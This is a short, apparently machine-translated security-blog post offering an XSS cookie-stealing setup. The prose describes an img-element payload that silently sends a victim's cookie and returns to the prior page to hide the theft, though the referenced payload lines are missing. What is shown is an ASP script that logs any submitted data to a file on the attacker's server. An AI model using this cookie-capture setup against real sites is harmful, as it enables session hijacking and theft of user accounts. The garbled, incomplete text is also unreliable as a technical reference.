Code for XSS cookie Spoofing

Tosec Security Team Blog

I 've been busy writing this XSS code for half an hour. I haven't reviewed it for a few months and I almost forgot it. Here, let's record it. The basic effect I want is that it doesn't affect the other side's page, therefore, a return requirement must be added.

In this statement, you can freely change its shape to meet your requirements.

The following sentence is written using the img html element. Common scripts are no longer popular. Changing a type may be more interesting.

The preceding statement indicates that the previous page is returned after the cookie is dropped to achieve a small purpose of hiding.

Appendix asp spoofing code:

<%
Testfile = Server. MapPath ("custom file .txt ")
Msg = Request ("Custom Data Table ")
Set fs = server. CreateObject ("scripting. filesystemobject ")
Set thisfile = fs. OpenTextFile (testfile, 8, True, 0)
Thisfile. WriteLine ("" & msg &"")
Thisfile. close
Set fs = nothing
%>